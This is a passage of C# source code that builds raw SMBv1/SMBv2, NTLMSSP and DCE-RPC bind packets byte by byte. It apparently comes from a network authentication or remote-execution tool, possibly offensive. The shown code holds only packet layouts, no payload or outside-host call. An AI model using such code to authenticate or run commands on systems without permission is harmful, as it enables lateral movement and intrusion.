packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_FID\", packet_file_ID);\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_Offset\", new byte[] { 0xea, 0x03, 0x00, 0x00 });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_Reserved2\", new byte[] { 0xff, 0xff, 0xff, 0xff });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_WriteMode\", new byte[] { 0x08, 0x00 });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_Remaining\", packet_write_length);\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_DataLengthHigh\", new byte[] { 0x00, 0x00 });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_DataLengthLow\", packet_write_length);\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_DataOffset\", new byte[] { 0x3f, 0x00 });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_HighOffset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_ByteCount\", packet_write_length);\n\n return packet_SMBWriteAndXRequest;\n }\n public static OrderedDictionary SMBCloseRequest(byte[] packet_file_ID)\n {\n\n OrderedDictionary packet_SMBCloseRequest = new OrderedDictionary();\n packet_SMBCloseRequest.Add(\"SMBCloseRequest_WordCount\", new byte[] { 0x03 });\n packet_SMBCloseRequest.Add(\"SMBCloseRequest_FID\", packet_file_ID);\n packet_SMBCloseRequest.Add(\"SMBCloseRequest_LastWrite\", new byte[] { 0xff, 0xff, 0xff, 0xff });\n packet_SMBCloseRequest.Add(\"SMBCloseRequest_ByteCount\", new byte[] { 0x00, 0x00 });\n\n return packet_SMBCloseRequest;\n }\n public static OrderedDictionary SMBTreeDisconnectRequest()\n {\n OrderedDictionary packet_SMBTreeDisconnectRequest = new OrderedDictionary();\n packet_SMBTreeDisconnectRequest.Add(\"SMBTreeDisconnectRequest_WordCount\", new byte[] { 0x00 });\n packet_SMBTreeDisconnectRequest.Add(\"SMBTreeDisconnectRequest_ByteCount\", new byte[] { 0x00, 0x00 });\n return packet_SMBTreeDisconnectRequest;\n }\n public static OrderedDictionary SMBLogoffAndXRequest()\n {\n OrderedDictionary packet_SMBLogoffAndXRequest = new OrderedDictionary();\n packet_SMBLogoffAndXRequest.Add(\"SMBLogoffAndXRequest_WordCount\", new byte[] { 0x02 });\n packet_SMBLogoffAndXRequest.Add(\"SMBLogoffAndXRequest_AndXCommand\", new byte[] { 0xff });\n packet_SMBLogoffAndXRequest.Add(\"SMBLogoffAndXRequest_Reserved\", new byte[] { 0x00 });\n packet_SMBLogoffAndXRequest.Add(\"SMBLogoffAndXRequest_AndXOffset\", new byte[] { 0x00, 0x00 });\n packet_SMBLogoffAndXRequest.Add(\"SMBLogoffAndXRequest_ByteCount\", new byte[] { 0x00, 0x00 });\n return packet_SMBLogoffAndXRequest;\n }\n #endregion\n #region SMBv2\n //public static OrderedDictionary SMB2Header(byte[] packet_command,bool SMB_signing, int packet_message_ID, byte[] process_id, byte[] packet_tree_ID, byte[] packet_session_ID)\n public static OrderedDictionary SMB2Header(byte[] packet_command, int packet_message_ID, byte[] packet_tree_ID, byte[] packet_session_ID)\n {\n\n byte[] message_ID = BitConverter.GetBytes(packet_message_ID);\n\n if (message_ID.Length == 4)\n {\n message_ID = message_ID.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n //message_ID = Utilities.CombineByteArray(message_ID, new byte[] { 0x00, 0x00, 0x00, 0x00 });\n }\n\n OrderedDictionary packet_SMB2Header = new OrderedDictionary();\n packet_SMB2Header.Add(\"SMB2Header_ProtocolID\", new byte[] { 0xfe, 0x53, 0x4d, 0x42 });\n packet_SMB2Header.Add(\"SMB2Header_StructureSize\", new byte[] { 0x40, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_CreditCharge\", new byte[] { 0x01, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_ChannelSequence\", new byte[] { 0x00, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_Reserved\", new byte[] { 0x00, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_Command\", packet_command);\n packet_SMB2Header.Add(\"SMB2Header_CreditRequest\", new byte[] { 0x00, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_Flags\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_NextCommand\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_MessageID\", message_ID);\n packet_SMB2Header.Add(\"SMB2Header_Reserved2\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2Header.Add(\"SMB2Header_TreeID\", packet_tree_ID);\n packet_SMB2Header.Add(\"SMB2Header_SessionID\", packet_session_ID);\n packet_SMB2Header.Add(\"SMB2Header_Signature\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n\n return packet_SMB2Header;\n\n }\n public static OrderedDictionary SMB2NegotiateProtocolRequest()\n {\n OrderedDictionary packet_SMB2NegotiateProtocolRequest = new OrderedDictionary();\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_StructureSize\", new byte[] { 0x24, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_DialectCount\", new byte[] { 0x02, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_SecurityMode\", new byte[] { 0x01, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_Reserved\", new byte[] { 0x00, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_Capabilities\", new byte[] { 0x40, 0x00, 0x00, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_ClientGUID\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_NegotiateContextOffset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_NegotiateContextCount\", new byte[] { 0x00, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_Reserved2\", new byte[] { 0x00, 0x00 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_Dialect\", new byte[] { 0x02, 0x02 });\n packet_SMB2NegotiateProtocolRequest.Add(\"SMB2NegotiateProtocolRequest_Dialect2\", new byte[] { 0x10, 0x02 });\n\n return packet_SMB2NegotiateProtocolRequest;\n }\n public static OrderedDictionary SMB2SessionSetupRequest(byte[] packet_security_blob)\n {\n byte[] packet_security_blob_length = BitConverter.GetBytes(packet_security_blob.Length);\n byte[] packet_security_blob_length2 = { packet_security_blob_length[0], packet_security_blob_length[1] };\n\n OrderedDictionary packet_SMB2SessionSetupRequest = new OrderedDictionary();\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_StructureSize\", new byte[] { 0x19, 0x00 });\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_Flags\", new byte[] { 0x00 });\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_SecurityMode\", new byte[] { 0x01 });\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_Capabilities\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_Channel\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_SecurityBufferOffset\", new byte[] { 0x58, 0x00 });\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_SecurityBufferLength\", packet_security_blob_length2);\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_PreviousSessionID\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2SessionSetupRequest.Add(\"SMB2SessionSetupRequest_Buffer\", packet_security_blob);\n\n return packet_SMB2SessionSetupRequest;\n }\n public static OrderedDictionary SMB2TreeConnectRequest(byte[] packet_path)\n {\n\n byte[] packet_path_length = BitConverter.GetBytes(packet_path.Length);\n packet_path_length = new byte[] { packet_path_length[0], packet_path_length[1] };\n OrderedDictionary packet_SMB2TreeConnectRequest = new OrderedDictionary();\n packet_SMB2TreeConnectRequest.Add(\"SMB2TreeConnectRequest_StructureSize\", new byte[] { 0x09, 0x00 });\n packet_SMB2TreeConnectRequest.Add(\"SMB2TreeConnectRequest_Reserved\", new byte[] { 0x00, 0x00 });\n packet_SMB2TreeConnectRequest.Add(\"SMB2TreeConnectRequest_PathOffset\", new byte[] { 0x48, 0x00 });\n packet_SMB2TreeConnectRequest.Add(\"SMB2TreeConnectRequest_PathLength\", packet_path_length);\n packet_SMB2TreeConnectRequest.Add(\"SMB2TreeConnectRequest_Buffer\", packet_path);\n\n return packet_SMB2TreeConnectRequest;\n }\n public static OrderedDictionary SMB2CreateRequestFile(byte[] packet_named_pipe)\n {\n byte[] packet_named_pipe_length = BitConverter.GetBytes(packet_named_pipe.Length);\n byte[] packet_named_pipe_length2 = { packet_named_pipe_length[0], packet_named_pipe_length[1] };\n OrderedDictionary packet_SMB2CreateRequestFile = new OrderedDictionary();\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_StructureSize\", new byte[] { 0x39, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_Flags\", new byte[] { 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_RequestedOplockLevel\", new byte[] { 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_Impersonation\", new byte[] { 0x02, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_SMBCreateFlags\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_Reserved\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_DesiredAccess\", new byte[] { 0x03, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_FileAttributes\", new byte[] { 0x80, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_ShareAccess\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_CreateDisposition\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_CreateOptions\", new byte[] { 0x40, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_NameOffset\", new byte[] { 0x78, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_NameLength\", packet_named_pipe_length2);\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_CreateContextsOffset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_CreateContextsLength\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2CreateRequestFile.Add(\"SMB2CreateRequestFile_Buffer\", packet_named_pipe);\n\n return packet_SMB2CreateRequestFile;\n\n }\n public static OrderedDictionary SMB2ReadRequest(byte[] packet_file_ID)\n {\n OrderedDictionary packet_SMB2ReadRequest = new OrderedDictionary();\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_StructureSize\", new byte[] { 0x31, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_Padding\", new byte[] { 0x50 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_Flags\", new byte[] { 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_Length\", new byte[] { 0x00, 0x00, 0x10, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_Offset\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_FileID\", packet_file_ID);\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_MinimumCount\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_Channel\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_RemainingBytes\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_ReadChannelInfoOffset\", new byte[] { 0x00, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_ReadChannelInfoLength\", new byte[] { 0x00, 0x00 });\n packet_SMB2ReadRequest.Add(\"SMB2ReadRequest_Buffer\", new byte[] { 0x30 });\n\n return packet_SMB2ReadRequest;\n }\n public static OrderedDictionary SMB2WriteRequest(byte[] packet_file_ID, int packet_RPC_length)\n {\n\n\n byte[] packet_write_length = BitConverter.GetBytes(packet_RPC_length);\n OrderedDictionary packet_SMB2WriteRequest = new OrderedDictionary();\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_StructureSize\", new byte[] { 0x31, 0x00 });\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_DataOffset\", new byte[] { 0x70, 0x00 });\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_Length\", packet_write_length);\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_Offset\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_FileID\", packet_file_ID);\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_Channel\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_RemainingBytes\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_WriteChannelInfoOffset\", new byte[] { 0x00, 0x00 });\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_WriteChannelInfoLength\", new byte[] { 0x00, 0x00 });\n packet_SMB2WriteRequest.Add(\"SMB2WriteRequest_Flags\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n\n\n return packet_SMB2WriteRequest;\n }\n public static OrderedDictionary SMB2CloseRequest(byte[] packet_file_ID)\n {\n OrderedDictionary packet_SMB2CloseRequest = new OrderedDictionary();\n packet_SMB2CloseRequest.Add(\"SMB2CloseRequest_StructureSize\", new byte[] { 0x18, 0x00 });\n packet_SMB2CloseRequest.Add(\"SMB2CloseRequest_Flags\", new byte[] { 0x00, 0x00 });\n packet_SMB2CloseRequest.Add(\"SMB2CloseRequest_Reserved\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMB2CloseRequest.Add(\"SMB2CloseRequest_FileID\", packet_file_ID);\n return packet_SMB2CloseRequest;\n }\n public static OrderedDictionary SMB2TreeDisconnectRequest()\n {\n OrderedDictionary packet_SMB2TreeDisconnectRequest = new OrderedDictionary();\n packet_SMB2TreeDisconnectRequest.Add(\"SMB2TreeDisconnectRequest_StructureSize\", new byte[] { 0x04, 0x00 });\n packet_SMB2TreeDisconnectRequest.Add(\"SMB2TreeDisconnectRequest_Reserved\", new byte[] { 0x00, 0x00 });\n return packet_SMB2TreeDisconnectRequest;\n }\n public static OrderedDictionary SMB2SessionLogoffRequest()\n {\n OrderedDictionary packet_SMB2SessionLogoffRequest = new OrderedDictionary();\n packet_SMB2SessionLogoffRequest.Add(\"SMB2SessionLogoffRequest_StructureSize\", new byte[] { 0x04, 0x00 });\n packet_SMB2SessionLogoffRequest.Add(\"SMB2SessionLogoffRequest_Reserved\", new byte[] { 0x00, 0x00 });\n return packet_SMB2SessionLogoffRequest;\n }\n public static OrderedDictionary NTLMSSPNegotiate(byte[] packet_negotiate_flags, byte[] packet_version)\n {\n byte[] packet_NTLMSSP_length;\n //There may be issues here, we will see.\n if (packet_version != null)\n {\n packet_NTLMSSP_length = BitConverter.GetBytes(32 + packet_version.Length);\n }\n else\n {\n packet_NTLMSSP_length = BitConverter.GetBytes(32);\n }\n byte[] packet_NTLMSSP_length2 = { packet_NTLMSSP_length[0] };\n\n int packet_ASN_length_1 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 32;\n byte[] packet_ASN_length_1_2 = (BitConverter.GetBytes(packet_ASN_length_1));\n\n int packet_ASN_length_2 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 22;\n byte[] packet_ASN_length_2_2 = (BitConverter.GetBytes(packet_ASN_length_2));\n\n int packet_ASN_length_3 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 20;\n byte[] packet_ASN_length_3_2 = (BitConverter.GetBytes(packet_ASN_length_3));\n\n int packet_ASN_length_4 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 2;\n byte[] packet_ASN_length_4_2 = BitConverter.GetBytes(packet_ASN_length_4);\n\n\n OrderedDictionary packet_NTLMSSPNegotiate = new OrderedDictionary();\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_InitialContextTokenID\", new byte[] { 0x60 }); // the ASN.1 key names are likely not all correct\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_InitialcontextTokenLength\", new byte[] { packet_ASN_length_1_2[0] });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_ThisMechID\", new byte[] { 0x06 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_ThisMechLength\", new byte[] { 0x06 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_OID\", new byte[] { 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_InnerContextTokenID\", new byte[] { 0xa0 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_InnerContextTokenLength\", new byte[] { packet_ASN_length_2_2[0] });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_InnerContextTokenID2\", new byte[] { 0x30 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_InnerContextTokenLength2\", new byte[] { packet_ASN_length_3_2[0] });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTypesID\", new byte[] { 0xa0 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTypesLength\", new byte[] { 0x0e });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTypesID2\", new byte[] { 0x30 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTypesLength2\", new byte[] { 0x0c });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTypesID3\", new byte[] { 0x06 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTypesLength3\", new byte[] { 0x0a });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechType\", new byte[] { 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTokenID\", new byte[] { 0xa2 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MechTokenLength\", new byte[] { packet_ASN_length_4_2[0] });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_NTLMSSPID\", new byte[] { 0x04 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_NTLMSSPLength\", new byte[] { packet_NTLMSSP_length2[0] });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_Identifier\", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_MessageType\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_NegotiateFlags\", packet_negotiate_flags);\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_CallingWorkstationDomain\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_CallingWorkstationName\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n\n if (packet_version != null)\n {\n packet_NTLMSSPNegotiate.Add(\"NTLMSSPNegotiate_Version\", packet_version);\n }\n\n return packet_NTLMSSPNegotiate;\n\n\n }\n public static OrderedDictionary NTLMSSPAuth(byte[] packet_NTLM_response)\n {\n\n\n byte[] packet_NTLMSSP_length = BitConverter.GetBytes(packet_NTLM_response.Length);\n packet_NTLMSSP_length = new byte[] { packet_NTLMSSP_length[1], packet_NTLMSSP_length[0] };\n byte[] packet_ASN_length_1 = BitConverter.GetBytes(packet_NTLM_response.Length + 12);\n byte[] packet_ASN_length_1_2 = { packet_ASN_length_1[1], packet_ASN_length_1[0] };\n byte[] packet_ASN_length_2 = BitConverter.GetBytes(packet_NTLM_response.Length + 8);\n byte[] packet_ASN_length_2_2 = { packet_ASN_length_2[1], packet_ASN_length_2[0] };\n byte[] packet_ASN_length_3 = BitConverter.GetBytes(packet_NTLM_response.Length + 4);\n byte[] packet_ASN_length_3_2 = { packet_ASN_length_3[1], packet_ASN_length_3[0] };\n\n\n\n OrderedDictionary packet_NTLMSSPAuth = new OrderedDictionary();\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_ASNID\", new byte[] { 0xa1, 0x82 });\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_ASNLength\", packet_ASN_length_1_2);\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_ASNID2\", new byte[] { 0x30, 0x82 });\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_ASNLength2\", packet_ASN_length_2_2);\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_ASNID3\", new byte[] { 0xa2, 0x82 });\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_ASNLength3\", packet_ASN_length_3_2);\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_NTLMSSPID\", new byte[] { 0x04, 0x82 });\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_NTLMSSPLength\", packet_NTLMSSP_length);\n packet_NTLMSSPAuth.Add(\"NTLMSSPAuth_NTLMResponse\", packet_NTLM_response);\n\n return packet_NTLMSSPAuth;\n\n }\n public static OrderedDictionary RPCBind(int packet_call_ID, byte[] packet_max_frag, byte[] packet_num_ctx_items, byte[] packet_context_ID, byte[] packet_UUID, byte[] packet_UUID_version)\n {\n\n byte[] packet_call_ID_bytes = BitConverter.GetBytes(packet_call_ID);\n\n OrderedDictionary packet_RPCBind = new OrderedDictionary();\n packet_RPCBind.Add(\"RPCBind_Version\", new byte[] { 0x05 });\n packet_RPCBind.Add(\"RPCBind_VersionMinor\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_PacketType\", new byte[] { 0x0b });\n packet_RPCBind.Add(\"RPCBind_PacketFlags\", new byte[] { 0x03 });\n packet_RPCBind.Add(\"RPCBind_DataRepresentation\", new byte[] { 0x10, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_FragLength\", new byte[] { 0x48, 0x00 });\n packet_RPCBind.Add(\"RPCBind_AuthLength\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_CallID\", packet_call_ID_bytes);\n packet_RPCBind.Add(\"RPCBind_MaxXmitFrag\", new byte[] { 0xb8, 0x10 });\n packet_RPCBind.Add(\"RPCBind_MaxRecvFrag\", new byte[] { 0xb8, 0x10 });\n packet_RPCBind.Add(\"RPCBind_AssocGroup\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_NumCtxItems\", packet_num_ctx_items);\n packet_RPCBind.Add(\"RPCBind_Unknown\", new byte[] { 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_ContextID\", packet_context_ID);\n packet_RPCBind.Add(\"RPCBind_NumTransItems\", new byte[] { 0x01 });\n packet_RPCBind.Add(\"RPCBind_Unknown2\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_Interface\", packet_UUID);\n packet_RPCBind.Add(\"RPCBind_InterfaceVer\", packet_UUID_version);\n packet_RPCBind.Add(\"RPCBind_InterfaceVerMinor\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntax\", new byte[] { 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntaxVer\", new byte[] { 0x02, 0x00, 0x00, 0x00 });\n\n\n if (packet_num_ctx_items[0] == 2)\n {\n packet_RPCBind.Add(\"RPCBind_ContextID2\", new byte[] { 0x01, 0x00 });\n packet_RPCBind.Add(\"RPCBind_NumTransItems2\", new byte[] { 0x01 });\n packet_RPCBind.Add(\"RPCBind_Unknown3\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_Interface2\", new byte[] { 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10, 0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a });\n packet_RPCBind.Add(\"RPCBind_InterfaceVer2\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_InterfaceVerMinor2\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntax2\", new byte[] { 0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntaxVer2\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n }\n else if (packet_num_ctx_items[0] == 3)\n {\n packet_RPCBind.Add(\"RPCBind_ContextID2\", new byte[] { 0x01, 0x00 });\n packet_RPCBind.Add(\"RPCBind_NumTransItems2\", new byte[] { 0x01 });\n packet_RPCBind.Add(\"RPCBind_Unknown3\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_Interface2\", new byte[] { 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 });\n packet_RPCBind.Add(\"RPCBind_InterfaceVer2\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_InterfaceVerMinor2\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntax2\", new byte[] { 0x33, 0x05, 0x71, 0x71, 0xba, 0xbe, 0x37, 0x49, 0x83, 0x19, 0xb5, 0xdb, 0xef, 0x9c, 0xcc, 0x36 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntaxVer2\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_ContextID3\", new byte[] { 0x02, 0x00 });\n packet_RPCBind.Add(\"RPCBind_NumTransItems3\", new byte[] { 0x01 });\n packet_RPCBind.Add(\"RPCBind_Unknown4\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_Interface3\", new byte[] { 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 });\n packet_RPCBind.Add(\"RPCBind_InterfaceVer3\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_InterfaceVerMinor3\", new byte[] { 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntax3\", new byte[] { 0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_TransferSyntaxVer3\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_AuthType\", new byte[] { 0x0a });\n packet_RPCBind.Add(\"RPCBind_AuthLevel\", new byte[] { 0x04 });\n packet_RPCBind.Add(\"RPCBind_AuthPadLength\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_AuthReserved\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_ContextID4\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_Identifier\", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 });\n packet_RPCBind.Add(\"RPCBind_MessageType\", new byte[] { 0x01, 0x00, 